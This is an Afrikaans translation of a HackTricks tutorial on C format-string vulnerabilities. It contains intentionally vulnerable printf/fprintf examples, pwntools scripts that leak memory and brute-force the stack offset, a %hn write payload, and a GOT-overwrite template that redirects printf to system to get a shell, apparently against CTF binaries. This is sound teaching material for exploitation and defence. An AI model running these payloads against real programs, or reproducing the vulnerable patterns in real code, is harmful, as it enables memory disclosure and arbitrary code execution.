Formaat Strings
Reading time: 9 minutes
tip
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Basiese Inligting
In C printf
is 'n funksie wat gebruik kan word om 'n string te druk. Die eerste parameter wat hierdie funksie verwag is die rou teks met die formateerders. Die volgende parameters wat verwag word, is die waardes om die formateerders uit die rou teks te vervang.
Ander kwesbare funksies is sprintf()
en fprintf()
.
Die kwesbaarheid verskyn wanneer 'n aanvalle teks as die eerste argument aan hierdie funksie gebruik word. Die aanvaller sal in staat wees om 'n spesiale invoer te skep wat die printf formaat string vermoëns misbruik om enige data in enige adres (leesbaar/skryfbaar) te lees en te skryf. Op hierdie manier kan hulle arbitraire kode uitvoer.
Formateerders:
%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%p —> Pointer
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
Voorbeelde:
- Kw vulnerable voorbeeld:
char buffer[30];
gets(buffer); // Dangerous: takes user input without restrictions.
printf(buffer); // If buffer contains "%x", it reads from the stack.
- Normale Gebruik:
int value = 1205;
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
- Met Ontbrekende Argumente:
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
- fprintf kwesbaar:
#include <stdio.h>
int main(int argc, char *argv[]) {
char *user_input;
user_input = argv[1];
FILE *output_file = fopen("output.txt", "w");
fprintf(output_file, user_input); // The user input can include formatters!
fclose(output_file);
return 0;
}
Toegang tot Pointers
Die formaat %<n>$x
, waar n
'n getal is, laat toe om aan printf aan te dui om die n parameter (van die stapel) te kies. So as jy die 4de param van die stapel met printf wil lees, kan jy doen:
printf("%x %x %x %x")
en jy sou van die eerste tot die vierde parameter lees.
Of jy kan doen:
printf("%4$x")
en lees direk die vierde.
Let op dat die aanvaller die printf
parameter beheer, wat basies beteken dat sy invoer in die stapel gaan wees wanneer printf
aangeroep word, wat beteken dat hy spesifieke geheue adresse in die stapel kan skryf.
caution
'n Aanvaller wat hierdie invoer beheer, sal in staat wees om arbitraire adresse in die stapel by te voeg en printf
te laat toegang tot hulle. In die volgende afdeling sal verduidelik word hoe om hierdie gedrag te gebruik.
Arbitraire Lees
Dit is moontlik om die formatter %n$s
te gebruik om printf
die adres wat in die n posisie geleë is, te laat kry, dit te volg en dit te druk asof dit 'n string is (druk totdat 'n 0x00 gevind word). So as die basisadres van die binêre 0x8048000
is, en ons weet dat die gebruiker se invoer in die 4de posisie in die stapel begin, is dit moontlik om die begin van die binêre te druk met:
from pwn import *
p = process('./bin')
payload = b'%6$s' #4th param
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
payload += p32(0x8048000) #6th param
p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
caution
Let daarop dat jy nie die adres 0x8048000 aan die begin van die invoer kan plaas nie, omdat die string in 0x00 aan die einde van daardie adres sal wees.
Vind offset
Om die offset na jou invoer te vind, kan jy 4 of 8 bytes (0x41414141
) stuur, gevolg deur %1$x
en verhoog die waarde totdat jy die A's
ontvang.
Brute Force printf offset
# Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak
from pwn import *
# Iterate over a range of integers
for i in range(10):
# Construct a payload that includes the current integer as offset
payload = f"AAAA%{i}$x".encode()
# Start a new process of the "chall" binary
p = process("./chall")
# Send the payload to the process
p.sendline(payload)
# Read and store the output of the process
output = p.clean()
# Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output
if b"41414141" in output:
# If the string is found, log the success message and break out of the loop
log.success(f"User input is at offset : {i}")
break
# Close the process
p.close()
Hoe nuttig
Arbitraire lees kan nuttig wees om:
- Dump die binarie uit geheue
- Toegang te verkry tot spesifieke dele van geheue waar sensitiewe inligting gestoor word (soos kanaries, versleuteling sleutels of paswoorde soos in hierdie CTF-uitdaging)
Arbitraire Skrywe
Die formatter %<num>$n
skryf die aantal geskryfde bytes in die aangegeven adres in die <num> parameter in die stapel. As 'n aanvaller soveel karakters kan skryf as wat hy wil met printf, sal hy in staat wees om %<num>$n
'n arbitraire getal in 'n arbitraire adres te laat skryf.
Gelukkig, om die getal 9999 te skryf, is dit nie nodig om 9999 "A"s by die invoer te voeg nie; om dit te doen, is dit moontlik om die formatter %.<num-write>%<num>$n
te gebruik om die getal <num-write>
in die adres aangedui deur die num
posisie te skryf.
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500
Let wel, dit is gewoonlik nodig om 'n adres soos 0x08049724
(wat 'n GROOT getal is om in een keer te skryf) te skryf, word $hn
gebruik in plaas van $n
. Dit maak dit moontlik om slegs 2 Bytes te skryf. Daarom word hierdie operasie twee keer uitgevoer, een vir die hoogste 2B van die adres en 'n ander keer vir die laagste.
Hierdie kwesbaarheid maak dit moontlik om enigiets in enige adres te skryf (arbitraire skryf).
In hierdie voorbeeld is die doel om die adres van 'n funksie in die GOT tabel wat later aangeroep gaan word, te oorwrite. Alhoewel dit ander arbitraire skryf na exec tegnieke kan misbruik:
Ons gaan 'n funksie oorwrite wat sy argumente van die gebruiker ontvang en dit na die system
funksie wys.
Soos genoem, om die adres te skryf, is gewoonlik 2 stappe nodig: Jy skryf eers 2Bytes van die adres en dan die ander 2. Om dit te doen, word $hn
gebruik.
- HOB word genoem vir die 2 hoogste bytes van die adres
- LOB word genoem vir die 2 laagste bytes van die adres
Dan, as gevolg van hoe die formaat string werk, moet jy eers die kleinste van [HOB, LOB] skryf en dan die ander een.
As HOB < LOB
[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]
As HOB > LOB
[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]
HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'
Pwntools-sjabloon
Jy kan 'n sjabloon vind om 'n exploit voor te berei vir hierdie soort kwesbaarheid in:
Of hierdie basiese voorbeeld van hier:
from pwn import *
elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000 # ASLR disabled
p = process()
payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)
p.clean()
p.sendline('/bin/sh')
p.interactive()
Formaat Strings na BOF
Dit is moontlik om die skryf aksies van 'n formaat string kwesbaarheid te misbruik om in adresse van die stapel te skryf en 'n buffer oorgeloop tipe kwesbaarheid te ontgin.
Ander Voorbeelde & Verwysings
- https://ir0nstone.gitbook.io/notes/types/stack/format-string
- https://www.youtube.com/watch?v=t1LH9D5cuK4
- https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak
- https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html
- 32 bit, geen relro, geen kanarie, nx, geen pie, basiese gebruik van formaat strings om die vlag van die stapel te lek (geen behoefte om die uitvoeringsvloei te verander)
- https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html
- 32 bit, relro, geen kanarie, nx, geen pie, formaat string om die adres
fflush
met die win funksie (ret2win) te oorskryf - https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html
- 32 bit, relro, geen kanarie, nx, geen pie, formaat string om 'n adres binne main in
.fini_array
te skryf (sodat die vloei een keer meer terugloop) en die adres nasystem
in die GOT tabel te skryf wat nastrlen
wys. Wanneer die vloei terug na main gaan, wordstrlen
uitgevoer met gebruikersinvoer en wys nasystem
, dit sal die oorgedraagde opdragte uitvoer.
tip
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.